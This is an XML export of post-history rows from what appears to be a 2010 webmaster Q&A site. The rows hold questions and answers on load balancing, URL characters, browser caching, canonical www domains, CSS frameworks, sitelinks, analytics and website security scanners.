  <row Id="890" PostHistoryTypeId="2" PostId="497" RevisionGUID="9d7d86a0-c805-46cd-9df7-bf8473fcb3b2" CreationDate="2010-07-09T12:47:26.063" UserId="55" Text="There are several possible caveats:&#xD;&#xA;&#xD;&#xA;**Sessions**&#xD;&#xA;&#xD;&#xA;If sessions are stored server side, (i.e. PHP), *both* servers will need access to a shared session storage path. Otherwise, you'll lose sessions as the load balancer sends request from one server to the other, or possibly (gasp) have one user with two unique sessions. This can get particularly frustrating with AJAX. 'Sticky' sessions may also be possible, depending on your load balancer.&#xD;&#xA;&#xD;&#xA;**Temporary Files**&#xD;&#xA;&#xD;&#xA;Both servers should share the same /tmp directory, if indeed you use any kind of temporary files while working to serve requests. This could be a temporary archive that is compressed for a download, a flat file DB that keeps track of something, whatever.&#xD;&#xA;&#xD;&#xA;**SQLite Locking**&#xD;&#xA;&#xD;&#xA;If you use SQLite3, you may notice some quirks that never surfaced before, especially if you are using something like NFS to share the database files between the servers. NFS is slow with this, so I recommend using something else. Distributed file systems like Lustre are easy to set up, or you could use GFS/OCFS2.&#xD;&#xA;&#xD;&#xA;**SSL**&#xD;&#xA;&#xD;&#xA;You probably want the load balancer to be what handles the SSL handshake, which then makes the request to the back end servers using any old self signed certificate. &#xD;&#xA;&#xD;&#xA;Some general notes:&#xD;&#xA;&#xD;&#xA; - As noted, use a high performance file system for sharing directories. All shared files should live on network storage, not one of the web servers. Otherwise, if one goes down, both are useless, kind of defeats the purpose.&#xD;&#xA;&#xD;&#xA; - If the site uses a RDBMS, you have two options. Run it on both nodes and use a master-master sync, or put the DB server on its own home. I recommend the second because that gives your web servers a lot more elbow room to operate.&#xD;&#xA;&#xD;&#xA; - Load balancers need redundancy too.&#xD;&#xA;&#xD;&#xA;In most cases, you can go from a single server to a load balanced farm with little to no changes to the actual site / application itself, but you will need to make sure that all nodes can read and write to the same files. This may require you to add some logic for locking in the app itself. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="891" PostHistoryTypeId="2" PostId="498" RevisionGUID="d1f2ea32-63fc-434a-996c-be081cc603c1" CreationDate="2010-07-09T12:50:14.670" UserId="206" Text="Which special characters are safe to use in url?" />
  <row Id="892" PostHistoryTypeId="1" PostId="498" RevisionGUID="d1f2ea32-63fc-434a-996c-be081cc603c1" CreationDate="2010-07-09T12:50:14.670" UserId="206" Text="Which special characters are safe to use in url?" />
  <row Id="893" PostHistoryTypeId="3" PostId="498" RevisionGUID="d1f2ea32-63fc-434a-996c-be081cc603c1" CreationDate="2010-07-09T12:50:14.670" UserId="206" Text="&lt;url&gt;" />
  <row Id="894" PostHistoryTypeId="2" PostId="499" RevisionGUID="900a1147-fb92-4741-8bcc-715868a49b1b" CreationDate="2010-07-09T12:51:00.003" UserId="205" Text="For PNG images you can reduce the number of colors in the colormap and save as an indexed PNG.  For instance, consider a logo that is 128x128 pixels (uncompressed).  Imagine that there are only 16 colors that it actually uses.&#xD;&#xA;&#xD;&#xA; - PNG-32, four bytes per pixel - 65 KB&#xD;&#xA; - PNG-8, one byte per pixel - 16 kB&#xD;&#xA; - PNG-4, four bits per pixel - 8 KB&#xD;&#xA;&#xD;&#xA;You can see that without reducing the quality of the image (this only applies to certain kinds of images) you can reduce the size substantially.&#xD;&#xA;&#xD;&#xA;For buttons and site icons, you can also consider aggregating them into one image and using CSS or JavaScript to control their display (sprites).  This saves on the number of HTTP requests made for each image.&#xD;&#xA;&#xD;&#xA; - [A List Apart: CSS Sprites: Image Slicing’s Kiss of Death][1]&#xD;&#xA; - [A List Apart: CSS Sprites2 - It’s JavaScript Time][2]&#xD;&#xA; - [CSS Sprites: What They Are, Why They’re Cool, and How To Use Them][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alistapart.com/articles/sprites/&#xD;&#xA;  [2]: http://www.alistapart.com/articles/sprites2/&#xD;&#xA;  [3]: http://css-tricks.com/css-sprites/" />
  <row Id="896" PostHistoryTypeId="2" PostId="501" RevisionGUID="aed301fe-a384-4403-9295-8acd3885aa7e" CreationDate="2010-07-09T13:00:30.873" UserId="205" Text="[This page][1] has always been the easiest intro for me, the the site is beautiful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://corz.org/serv/tricks/htaccess2.php" />
  <row Id="897" PostHistoryTypeId="2" PostId="502" RevisionGUID="cec286ec-b6a4-4e70-917a-1d631a6f92d8" CreationDate="2010-07-09T13:07:43.450" UserId="205" Text="Sometimes when I make small changes to a website, I notice that certain browsers are very stubborn about downloading the page again.  Both F5 and CTRL-R are worthless and the only way to fix it is to go through the options and manually tell it to clear the cache.  I've used PHP before to send a cache-flush header, but is there a simpler or better way?" />
  <row Id="898" PostHistoryTypeId="1" PostId="502" RevisionGUID="cec286ec-b6a4-4e70-917a-1d631a6f92d8" CreationDate="2010-07-09T13:07:43.450" UserId="205" Text="How can I cause a browser to download a new copy of a web page when it thinks that its cached copy is still valid?" />
  <row Id="899" PostHistoryTypeId="3" PostId="502" RevisionGUID="cec286ec-b6a4-4e70-917a-1d631a6f92d8" CreationDate="2010-07-09T13:07:43.450" UserId="205" Text="&lt;cache&gt;" />
  <row Id="900" PostHistoryTypeId="2" PostId="503" RevisionGUID="ffa63ce6-252e-4aaa-bfd6-234f86efd081" CreationDate="2010-07-09T13:11:54.283" UserId="134" Text="My website used to have sitelinks and now it doesn't. It's very possible that it's due to changing the website to a sidebar design instead of having an &quot;interstitial&quot; type landing page which limited the number of choices, but I'm not sure.&#xD;&#xA;&#xD;&#xA;What are some things that I can do to improve my chances of getting sitelinks?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="901" PostHistoryTypeId="1" PostId="503" RevisionGUID="ffa63ce6-252e-4aaa-bfd6-234f86efd081" CreationDate="2010-07-09T13:11:54.283" UserId="134" Text="What are the most important things I need to do to encourage Google Sitelinks?" />
  <row Id="902" PostHistoryTypeId="3" PostId="503" RevisionGUID="ffa63ce6-252e-4aaa-bfd6-234f86efd081" CreationDate="2010-07-09T13:11:54.283" UserId="134" Text="&lt;seo&gt;&lt;google&gt;&lt;sitelinks&gt;" />
  <row Id="903" PostHistoryTypeId="2" PostId="504" RevisionGUID="92195434-2c1c-4115-9639-ec5309815a48" CreationDate="2010-07-09T13:11:56.280" UserId="46" Text="F5 is refresh using the cache.  Ctrl-F5 will ignore the cache.  I'm not certain, but it sounds like Ctrl-R is equivalent to F5 rather than Ctrl-F5?" />
  <row Id="904" PostHistoryTypeId="2" PostId="505" RevisionGUID="cad34722-7061-47f9-9375-b708324dc4af" CreationDate="2010-07-09T13:16:43.070" UserId="141" Text="It depends on what's cached. If it's the main page then the only way to prevent caching is using the no cache HTTP header.&#xD;&#xA;&#xD;&#xA;However keep in mind that JS and CSS files are also usually cached. One trick to invalidate them when they change used by many websites - including this - is appending a dummy number after the '?'. Everything after the '?' is ignored by the web server, but since the URL changes the browser always re-downloads it.&#xD;&#xA;&#xD;&#xA;An example taken from this very page: `http://sstatic.net/webmasters/all.css?v=ac775b7bd951`. The &quot;ac775b7bd951&quot; comes from mercurial, the versioning system used. You can do something similar with svn (example: all.css?revision=123)." />
  <row Id="905" PostHistoryTypeId="2" PostId="506" RevisionGUID="8ac3d809-0ad3-4563-a803-af82600bedca" CreationDate="2010-07-09T13:18:40.570" UserId="141" Text="Sitelinks are usually taken from the home page. Make sure google is able to see those links; if your website used heavy javascript to construct the DOM it's possible that google simply doesn't see any link.&#xD;&#xA;&#xD;&#xA;To see if this is the case open your website with a command line (no GUI) web browser, such as `links` (linux). Alternatively, try to disable JS in your own browser." />
  <row Id="906" PostHistoryTypeId="2" PostId="507" RevisionGUID="1784f51a-839b-4fc4-82af-f13a69794844" CreationDate="2010-07-09T13:20:34.777" UserId="141" Text="What are the pros and cons of having http://www.example.com/ vs http://example.com/ ?" />
  <row Id="907" PostHistoryTypeId="1" PostId="507" RevisionGUID="1784f51a-839b-4fc4-82af-f13a69794844" CreationDate="2010-07-09T13:20:34.777" UserId="141" Text="Should I include &quot;www&quot; in my canonical URLs? What are the pros and cons?" />
  <row Id="908" PostHistoryTypeId="3" PostId="507" RevisionGUID="1784f51a-839b-4fc4-82af-f13a69794844" CreationDate="2010-07-09T13:20:34.777" UserId="141" Text="&lt;domains&gt;&lt;url&gt;" />
  <row Id="909" PostHistoryTypeId="2" PostId="508" RevisionGUID="64c08b17-e8bc-48c5-bb81-30750508c285" CreationDate="2010-07-09T13:23:12.120" UserId="141" Text="Taken from the [RFC][1], the following characters have special meaning in the path component of your URL (the path component is everything before the '?'):&#xD;&#xA;&#xD;&#xA;      &quot;;&quot; | &quot;/&quot; | &quot;?&quot;&#xD;&#xA;&#xD;&#xA;In addition to those, the following characters have special meaning in the query part of your URL (everything after '?'). Therefore, if they are after the '?' you need to escape them:&#xD;&#xA;&#xD;&#xA;      &quot;:&quot; | &quot;@&quot; | &quot;&amp;&quot; | &quot;=&quot; | &quot;+&quot; | &quot;$&quot; | &quot;,&quot;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ietf.org/rfc/rfc2396.txt" />
  <row Id="910" PostHistoryTypeId="2" PostId="509" RevisionGUID="c972bf7c-7e74-4a74-84d7-97561601c047" CreationDate="2010-07-09T13:26:26.730" UserId="43" Text="There don't seem to be any concrete reasons for using one over the other as far as search results or other desired outcomes.  My personal preference is no-www, due to length.  The most important thing is to make sure you redirect to your preferred domain, and remember to set your preferred domain in Google Webmaster Tools.&#xD;&#xA;&#xD;&#xA;[This article][1] gives a pretty good summary of the situation,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitepoint.com/blogs/2008/02/19/www-or-no-www/" />
  <row Id="912" PostHistoryTypeId="5" PostId="266" RevisionGUID="4d5339e2-1fe1-44fa-9e84-2ecdb2c69dff" CreationDate="2010-07-09T13:46:21.207" UserId="130" Comment="Changed menu name from &quot;Wrench&quot; to &quot;Paper&quot; and added version clarification" Text="It's built in. Page [paper] -&gt; Developer -&gt; Developer tools (in Chrome v5 and under). It is likely to be different in v6 since the Page button appears to be disappearing in that version." />
  <row Id="913" PostHistoryTypeId="5" PostId="507" RevisionGUID="6e7fb959-bf72-422d-b0ed-18a6b5390a09" CreationDate="2010-07-09T13:49:19.187" UserId="141" Comment="added 182 characters in body; added 31 characters in body" Text="What are the pros and cons of having http://www.example.com/ vs http://example.com/ ?&#xD;&#xA;&#xD;&#xA;For example a problem I'm aware of is that if I use a domain without www I can't set a cookie for the current subdomain only (since there is no subdomain), and the cookies I set will be sent to all subdomains." />
  <row Id="914" PostHistoryTypeId="5" PostId="416" RevisionGUID="effa0316-cc4b-481f-98e5-60dc2b8462e6" CreationDate="2010-07-09T13:49:48.077" UserId="172" Comment="added 4 characters in body" Text="I've created several small scale websites, usually for small businesses. They usually contain some information about the company, a contact form, and sometimes a few dynamic parts : news, pictures, etc.&#xD;&#xA;&#xD;&#xA;I could generate XML sitemaps for these websites, but I am not sure what would be the point ? For websites such as these ones, where the pages are limited and easily discoverable, is it useful to generate a sitemap ? Is there a clear advantage to do so (in terms of SEO mostly) ?" />
  <row Id="915" PostHistoryTypeId="6" PostId="330" RevisionGUID="02bd15f1-f8ff-4d9e-bdd8-867387f6d8cd" CreationDate="2010-07-09T13:53:40.987" UserId="141" Comment="edited tags" Text="&lt;html5&gt;&lt;html&gt;&lt;books&gt;" />
  <row Id="916" PostHistoryTypeId="2" PostId="510" RevisionGUID="1b2f3112-a4f6-402f-9e79-f21682954c50" CreationDate="2010-07-09T13:54:02.937" UserId="55" Text="If you are going to use `www.domain.com`, you should make `domain.com` a permanent re-direct to `www.domain.com`.&#xD;&#xA;&#xD;&#xA;The `www` subomain, in some cases, is actually a completely different server than the parent TLD. While most search engines are smart enough to figure that out, its still good practice to place the re-direct.&#xD;&#xA;&#xD;&#xA;I'm the complete reverse of that, www.mydomain.com is a permanent redirect to mydomain.com, because I prefer using the shorter canonical URL. It also make sense to me that I can expect a HTTP request to foo.com will yield a web page, or a redirect to whatever subdomain is dealing with HTTP requests.&#xD;&#xA;&#xD;&#xA;Additionally, you want people linking to your site using the canonical URL, which is the one they pick out of their browser toolbar. The re-direct on the one that is NOT your canonical URL helps ensure consistency in that regard." />
  <row Id="917" PostHistoryTypeId="2" PostId="511" RevisionGUID="5c18ed13-3a74-4ab0-8677-e05dd6cfb8df" CreationDate="2010-07-09T13:57:55.000" UserId="130" Text="Some people claim that it has a positive SEO effect. By including keywords that people will search for within the URL, your search engine rankings can be higher.&#xD;&#xA;&#xD;&#xA;Other reasons include a neat URL structure and URL &quot;guessability&quot; through removal of URL path components to get to higher levels of navigation.&#xD;&#xA;&#xD;&#xA;If you are using an MVC framework of any kind, you are more-or-less made to work in this way by picking controller names etc. to be friendly to the URL routing." />
  <row Id="918" PostHistoryTypeId="6" PostId="498" RevisionGUID="c6def371-b8d9-4d57-ae59-db0cc65f987e" CreationDate="2010-07-09T13:58:05.030" UserId="141" Comment="edited tags" Text="&lt;url&gt;" />
  <row Id="919" PostHistoryTypeId="2" PostId="512" RevisionGUID="6b1a2706-70a2-43cb-9d32-2a13f5e2aa67" CreationDate="2010-07-09T14:10:33.473" UserId="184" Text="Keep in mind though that using `www.example.com` lets you to set **Cookies only on the main site**. Using `example.com` will only allow you to set cookies on `*.example.com` which includes `static.example.com`. So every request for any subdomain will include the cookies which slows down the transfer a bit. Using `www.example.com` will allow you to decide for what part you want to set cookies." />
  <row Id="920" PostHistoryTypeId="2" PostId="513" RevisionGUID="2cf92f76-f249-4f65-a6f1-6cd7003ffa82" CreationDate="2010-07-09T14:17:17.700" UserId="50" Text="If I were to purchase some advertising space on a website- what should I add to the end of the URL to track the results of that campaign in a tool like Google Analytics?  &#xD;&#xA;&#xD;&#xA; - Is capitalization important?&#xD;&#xA;&#xD;&#xA; - What does each part of those URL&#xD;&#xA;   additions mean?&#xD;&#xA;&#xD;&#xA; - Once entered, how do I make use of&#xD;&#xA;   them in Google analytics?&#xD;&#xA;&#xD;&#xA; - Is the stm_* method a standard, or&#xD;&#xA;   specific to Google analytics?" />
  <row Id="921" PostHistoryTypeId="1" PostId="513" RevisionGUID="2cf92f76-f249-4f65-a6f1-6cd7003ffa82" CreationDate="2010-07-09T14:17:17.700" UserId="50" Text="How do you format SEM URLS to properly track results using analytics engines like Google analytics?" />
  <row Id="922" PostHistoryTypeId="3" PostId="513" RevisionGUID="2cf92f76-f249-4f65-a6f1-6cd7003ffa82" CreationDate="2010-07-09T14:17:17.700" UserId="50" Text="&lt;analytics&gt;&lt;google-analytics&gt;&lt;advertising&gt;&lt;sem&gt;" />
  <row Id="923" PostHistoryTypeId="2" PostId="514" RevisionGUID="bdb31299-e8dd-4a99-a57c-bdaf92cd4be6" CreationDate="2010-07-09T14:23:53.533" UserId="19" Text="Check out **[Lucene][1]**&#xD;&#xA;&#xD;&#xA;Written in [Java][2] also available for the [.NET framework][3]&#xD;&#xA;&#xD;&#xA;Here's a CodeProject article that explains how it works and how it's used.&#xD;&#xA;http://www.codeproject.com/KB/library/IntroducingLucene.aspx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lucene.apache.org/java/docs/index.html&#xD;&#xA;  [2]: http://lucene.apache.org/java/docs/index.html&#xD;&#xA;  [3]: http://lucene.apache.org/lucene.net/" />
  <row Id="924" PostHistoryTypeId="2" PostId="515" RevisionGUID="1067fb2c-2696-4fed-9f62-735b68e265d7" CreationDate="2010-07-09T14:25:34.030" UserId="205" Text="The consequences are better web standards support, more cross-browser compatibility, and easier checking for accessibility.  The Strict standard encourages very clean code.&#xD;&#xA;&#xD;&#xA;However, sometimes you simply need to break a rule in order to make it work right.  In these cases, using Strict doesn't stand in your way from being able to do something, it just prevents you from passing the validation." />
  <row Id="925" PostHistoryTypeId="5" PostId="509" RevisionGUID="c6252190-1aab-4d2a-99f5-d4bac2f5d8d3" CreationDate="2010-07-09T14:34:28.983" UserId="43" Comment="corrected punctuation" Text="There don't seem to be any concrete reasons for using one over the other as far as search results or other desired outcomes.  My personal preference is no-www, due to length.  The most important thing is to make sure you redirect to your preferred domain, and remember to set your preferred domain in Google Webmaster Tools.&#xD;&#xA;&#xD;&#xA;[This article][1] gives a pretty good summary of the situation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitepoint.com/blogs/2008/02/19/www-or-no-www/" />
  <row Id="926" PostHistoryTypeId="2" PostId="516" RevisionGUID="8951cb4e-803d-44c2-b002-11fddb42b02b" CreationDate="2010-07-09T14:51:30.083" UserId="130" Text="What are the best practice scenarios for using a CSS framework? When is it better to &quot;roll your own&quot; CSS from scratch rather than using frameworks?" />
  <row Id="927" PostHistoryTypeId="1" PostId="516" RevisionGUID="8951cb4e-803d-44c2-b002-11fddb42b02b" CreationDate="2010-07-09T14:51:30.083" UserId="130" Text="When should I use a CSS framework?" />
  <row Id="928" PostHistoryTypeId="3" PostId="516" RevisionGUID="8951cb4e-803d-44c2-b002-11fddb42b02b" CreationDate="2010-07-09T14:51:30.083" UserId="130" Text="&lt;css-framework&gt;&lt;best-practice&gt;" />
  <row Id="929" PostHistoryTypeId="2" PostId="517" RevisionGUID="c2b8d0e8-7fdd-4b6d-b514-82045e4aa3ad" CreationDate="2010-07-09T14:55:00.573" UserId="17" Text="To me your menu sounds unusable. I don't believe anyone would go through all the links without crying.&#xD;&#xA;&#xD;&#xA;I really think the best thing to do in your case is to redo your navigation, or have an information architect look at your site.&#xD;&#xA;&#xD;&#xA;In your case I would think less about Google and more about users. If you focus on making users happy Google will be too." />
  <row Id="933" PostHistoryTypeId="2" PostId="519" RevisionGUID="3002d724-2b7c-4030-91b6-496f8b212b64" CreationDate="2010-07-09T15:01:24.677" UserId="17" Text="CSS frameworks are a bit tricky because are not really frameworks to me. They are simply predefined classes. But, this is not your question.&#xD;&#xA;&#xD;&#xA;CSS frameworks are great for mock-ups and wire-frames. I would not recommend using them on a live site because they add meaningless classes to your markup. &quot;.span3&quot; doen't tell me anything about the content, only the design.&#xD;&#xA;&#xD;&#xA;However, blueprint does have some cool tools that help your combine its framework classes and your semantic ones once your done.&#xD;&#xA;&#xD;&#xA;I always roll my own CSS." />
  <row Id="934" PostHistoryTypeId="2" PostId="520" RevisionGUID="a872fbb4-d39d-4dbc-b05f-3190b2e402e4" CreationDate="2010-07-09T15:06:23.900" UserId="50" Text="It is my opinion that the only service a CSS Framework provides is a starting point for those who are not very familiar with CSS." />
  <row Id="935" PostHistoryTypeId="2" PostId="521" RevisionGUID="182ef4a9-6e22-4c6c-bf05-92706ca0a255" CreationDate="2010-07-09T15:07:28.407" UserId="61" Text="Just avoid them, they are nothing but annoying.&#xD;&#xA;&#xD;&#xA;Especially this one.&#xD;&#xA;&#xD;&#xA;    * { margin:0; padding:0; }&#xD;&#xA;&#xD;&#xA;My biggest complaint is that if you inherit/maintain a site that uses a reset and/or a framework you must learn that framework before being able to modify the site.&#xD;&#xA;&#xD;&#xA;When I add a h1 tag I expect certain things. Most resets take away all the padding, margin, block, etc. so that a h1 tag no longer acts as it should by default. So I have to go back and add everything that was there in the first place.&#xD;&#xA;&#xD;&#xA;Generally (in my experience) its people who do not understand css that use the resets and frameworks, and it causes more work for the people who do." />
  <row Id="936" PostHistoryTypeId="2" PostId="522" RevisionGUID="28a2b507-141a-489b-8358-fa73f5fde2dc" CreationDate="2010-07-09T15:12:05.637" UserId="55" Text="Looking at Google Analytics, It seems that people spend approximately 3.5 minutes per average on my web site, per visit. That's approximately enough time to read one article and perhaps leave a comment.&#xD;&#xA;&#xD;&#xA;Is this 'average' behavior for a typical technology / gizmo blog, or am I not doing a good enough job at encouraging visitors to spend more time?&#xD;&#xA;" />
  <row Id="937" PostHistoryTypeId="1" PostId="522" RevisionGUID="28a2b507-141a-489b-8358-fa73f5fde2dc" CreationDate="2010-07-09T15:12:05.637" UserId="55" Text="What is the target time to have visitors spend per visit?" />
  <row Id="938" PostHistoryTypeId="3" PostId="522" RevisionGUID="28a2b507-141a-489b-8358-fa73f5fde2dc" CreationDate="2010-07-09T15:12:05.637" UserId="55" Text="&lt;analytics&gt;&lt;user-engagement&gt;" />
  <row Id="939" PostHistoryTypeId="2" PostId="523" RevisionGUID="b7eca101-85b9-4b64-a7bc-4e0e8327ca24" CreationDate="2010-07-09T15:16:41.240" UserId="210" Text="The main reason I do it is for readability, specifically on search results. I've only heard this and don't have any hard numbers, but it's supposed to increase click through. In other words if you have 2 results with the exact same ranking, people are more likely to click on the clean and easy to read one. I don't think this always needs to be one with slashes, but I think this is easier than a query string." />
  <row Id="940" PostHistoryTypeId="2" PostId="524" RevisionGUID="0fc11a94-24a1-403b-b13a-9beff0491297" CreationDate="2010-07-09T15:18:21.863" UserId="61" Text="I can't really say that it is good or bad however that seems about right. &#xD;&#xA;&#xD;&#xA;Looking at 3 of my sites which have 10-40k visits a month. They range from&#xD;&#xA;&#xD;&#xA;1:50 to 5:09&#xD;&#xA;&#xD;&#xA;however the 5:09 has quite a lot of videos which could be why it is longer." />
  <row Id="941" PostHistoryTypeId="2" PostId="525" RevisionGUID="2b116a18-9d2b-46a4-b8ff-c86320d3e115" CreationDate="2010-07-09T15:20:32.850" UserId="141" Text="I think it's ok. Most people leave immediately and they bring the average down.&#xD;&#xA;&#xD;&#xA;Just think of your typical behavior when you google for something: you visit a website for a few seconds then realize you are not interested so you go back immediately, and you keep going until you find what you're looking for." />
  <row Id="942" PostHistoryTypeId="2" PostId="526" RevisionGUID="61dafe76-467d-468c-b206-83dc29f9bf5b" CreationDate="2010-07-09T15:22:13.740" UserId="210" Text="I've used [Sphider][1] before and have been quite impressed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sphider.eu/" />
  <row Id="945" PostHistoryTypeId="2" PostId="527" RevisionGUID="0591b30f-a163-4228-85cb-4c1abeda2b65" CreationDate="2010-07-09T15:25:09.810" UserId="130" Text="MVC seems to be very popular these days, but the &quot;education overhead&quot; of newly learning a chosen MVC framework seems to be quite high. Why should I choose to invest the time to do this, rather than just put my code in with my HTML?" />
  <row Id="946" PostHistoryTypeId="1" PostId="527" RevisionGUID="0591b30f-a163-4228-85cb-4c1abeda2b65" CreationDate="2010-07-09T15:25:09.810" UserId="130" Text="Why should I develop my applications using the MVC design pattern?" />
  <row Id="947" PostHistoryTypeId="3" PostId="527" RevisionGUID="0591b30f-a163-4228-85cb-4c1abeda2b65" CreationDate="2010-07-09T15:25:09.810" UserId="130" Text="&lt;mvc&gt;" />
  <row Id="948" PostHistoryTypeId="2" PostId="528" RevisionGUID="7ffead5f-50c5-4c6e-9a9a-8bbd2b288ffe" CreationDate="2010-07-09T15:25:59.420" UserId="55" Text="You might want to check out Google's [Skipfish][1], its extremely comprehensive and works from dictionaries that you supply, defaults are included.&#xD;&#xA;&#xD;&#xA;Its also a little more 'gentle' than others that I've used, but I can't find something with the same features to compare results with.&#xD;&#xA;&#xD;&#xA;Its written in pure C, has VERY informative output and is extremely easy to use. I recommend running it from any standard *nix server, or from home if you have a fast connection.&#xD;&#xA;&#xD;&#xA;It reports on most vulnerabilities, plus lots of other problems that you may not be aware of. Its a little pedantic, but pedantic is a good quality for such a tool.&#xD;&#xA;&#xD;&#xA;Screenshot of results (a little old):&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/skipfish/wiki/SkipfishDoc&#xD;&#xA;  [2]: http://skipfish.googlecode.com/files/skipfish-screen.png" />
  <row Id="949" PostHistoryTypeId="16" PostId="528" RevisionGUID="7ffead5f-50c5-4c6e-9a9a-8bbd2b288ffe" CreationDate="2010-07-09T15:25:59.420" UserId="-1" />
  <row Id="950" PostHistoryTypeId="5" PostId="528" RevisionGUID="b7190cc6-7695-4c7e-b66c-8744949d6057" CreationDate="2010-07-09T15:31:53.260" UserId="55" Comment="added 24 characters in body; added 93 characters in body" Text="You might want to check out Google's [Skipfish][1], its extremely comprehensive and works from dictionaries that you supply, defaults (standard/kitchen sink) are included.&#xD;&#xA;&#xD;&#xA;Its also a little more 'gentle' than others that I've used, but I can't find something with the same features to compare results with.&#xD;&#xA;&#xD;&#xA;Its written C, has VERY informative output and is extremely easy to use. I recommend running it from any standard *nix server, or from home if you have a fast connection. Its also got a smart request queue system with real time updates. Its actually fun to watch it work.&#xD;&#xA;&#xD;&#xA;It reports on most vulnerabilities, plus lots of other problems that you may not be aware of. Its a little pedantic, but pedantic is a good quality for such a tool.&#xD;&#xA;&#xD;&#xA;Screenshot of results (a little old):&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/skipfish/wiki/SkipfishDoc&#xD;&#xA;  [2]: http://skipfish.googlecode.com/files/skipfish-screen.png" />
  <row Id="951" PostHistoryTypeId="2" PostId="529" RevisionGUID="93a2d3d6-bbb2-4d6d-8f36-cf4e1c707639" CreationDate="2010-07-09T15:34:56.253" UserId="42" Text="HP has &lt;a href=&quot;http://h30507.www3.hp.com/t5/The-HP-Security-Laboratory-Blog/Finding-SQL-Injection-with-Scrawlr/ba-p/30893&quot;&gt;Scrawlr&lt;/a&gt; for checking common SQL Injection vulnerabilities." />
  <row Id="952" PostHistoryTypeId="16" PostId="529" RevisionGUID="93a2d3d6-bbb2-4d6d-8f36-cf4e1c707639" CreationDate="2010-07-09T15:34:56.253" UserId="-1" />
  <row Id="953" PostHistoryTypeId="2" PostId="530" RevisionGUID="f50a5007-0fa4-4b64-a224-af7d7fe37772" CreationDate="2010-07-09T15:37:57.113" UserId="130" Text="When I receive Flash objects from my designer, it comes with an example HTML page which includes both `&lt;object&gt;` tags and `&lt;embed&gt;` tags as well as a whole heap of Javascript. If I copy and paste this code in to my webpage, it works, but the code looks a mess (and there is so much of it!). If I remove the extra code and try either just `&lt;embed&gt;` or `&lt;object&gt;` on their own, it works in some browsers, but not others.&#xD;&#xA;&#xD;&#xA;Is there a neat, minimal method that works in all the major browsers?" />
  <row Id="954" PostHistoryTypeId="1" PostId="530" RevisionGUID="f50a5007-0fa4-4b64-a224-af7d7fe37772" CreationDate="2010-07-09T15:37:57.113" UserId="130" Text="How can I neatly embed Flash in a page in a way that is cross-browser compatible?" />
  <row Id="955" PostHistoryTypeId="3" PostId="530" RevisionGUID="f50a5007-0fa4-4b64-a224-af7d7fe37772" CreationDate="2010-07-09T15:37:57.113" UserId="130" Text="&lt;html&gt;&lt;flash&gt;&lt;best-practice&gt;" />
  <row Id="956" PostHistoryTypeId="2" PostId="531" RevisionGUID="02132ee6-1cb3-49a1-9253-dff4a4882468" CreationDate="2010-07-09T15:38:37.267" UserId="17" Text="You will need to have quite a bit of traffic to your site to get those. Keep creating great content. Google will not give those out easy.&#xD;&#xA;&#xD;&#xA;Be sure that you have your navigation marked up with semantic HTML and include an id of `nav` or `navigation` on your menu. This will help Google know what links are your navigation. (as opposed to a list of links).&#xD;&#xA;&#xD;&#xA;Also, once you get them Google will give you an option to control what links you want in your sitelinks via Google Webmaster Tools.&#xD;&#xA;&#xD;&#xA;There is no easy way or publicly know algorithm that will give you sitelinks. And I'm sure that algorithm changes all the time.&#xD;&#xA;&#xD;&#xA;**DO NOTS**:&#xD;&#xA;&#xD;&#xA;- Don't use JavaScript For links and menus.&#xD;&#xA;- Don't think about it too much and give it time, sitelinks are rare." />
  <row Id="957" PostHistoryTypeId="2" PostId="532" RevisionGUID="4ca81e26-2e0a-4f7c-833a-f1d4301bab80" CreationDate="2010-07-09T15:42:39.013" UserId="46" Text="How do I evaluate my website from a usability standpoint?" />
  <row Id="958" PostHistoryTypeId="1" PostId="532" RevisionGUID="4ca81e26-2e0a-4f7c-833a-f1d4301bab80" CreationDate="2010-07-09T15:42:39.013" UserId="46" Text="How do I test the usability of my website?" />
  <row Id="959" PostHistoryTypeId="3" PostId="532" RevisionGUID="4ca81e26-2e0a-4f7c-833a-f1d4301bab80" CreationDate="2010-07-09T15:42:39.013" UserId="46" Text="&lt;usability&gt;" />
  <row Id="960" PostHistoryTypeId="2" PostId="533" RevisionGUID="f2043cd8-3757-4c03-8ea5-b98ab1edf04a" CreationDate="2010-07-09T15:42:49.640" UserId="19" Text="I want to add the ability to send reminders to people via email and SMS for specific events that they have signed up for on a web application that I am building.  The email part is not difficult, but I am wondering where to find a good solution for sending SMS messages.&#xD;&#xA;&#xD;&#xA;It would also be a plus if this solution allowed two-way SMS communication with my web application so that people would be able to reply with a CONFIRM or CANCEL type of a message.&#xD;&#xA;&#xD;&#xA;Has anyone implemented something like this? Does anyone know of good tools out there?" />
  <row Id="961" PostHistoryTypeId="1" PostId="533" RevisionGUID="f2043cd8-3757-4c03-8ea5-b98ab1edf04a" CreationDate="2010-07-09T15:42:49.640" UserId="19" Text="How to add SMS text messaging functionality to my website?" />
  <row Id="962" PostHistoryTypeId="3" PostId="533" RevisionGUID="f2043cd8-3757-4c03-8ea5-b98ab1edf04a" CreationDate="2010-07-09T15:42:49.640" UserId="19" Text="&lt;sms&gt;&lt;web-services&gt;&lt;notification&gt;" />
  <row Id="963" PostHistoryTypeId="2" PostId="534" RevisionGUID="e7337e0d-2d45-4a99-9d57-e2555c4b8e31" CreationDate="2010-07-09T15:45:12.790" UserId="141" Text="No it is not because it takes time to do, and most search engines ignore them. The one search engine you really have to care about is google; optimizing for others is really not worth your time as they bring you a ridiculously low amount of visitors compared to google." />
  <row Id="964" PostHistoryTypeId="16" PostId="534" RevisionGUID="e7337e0d-2d45-4a99-9d57-e2555c4b8e31" CreationDate="2010-07-09T15:45:12.790" UserId="-1" />
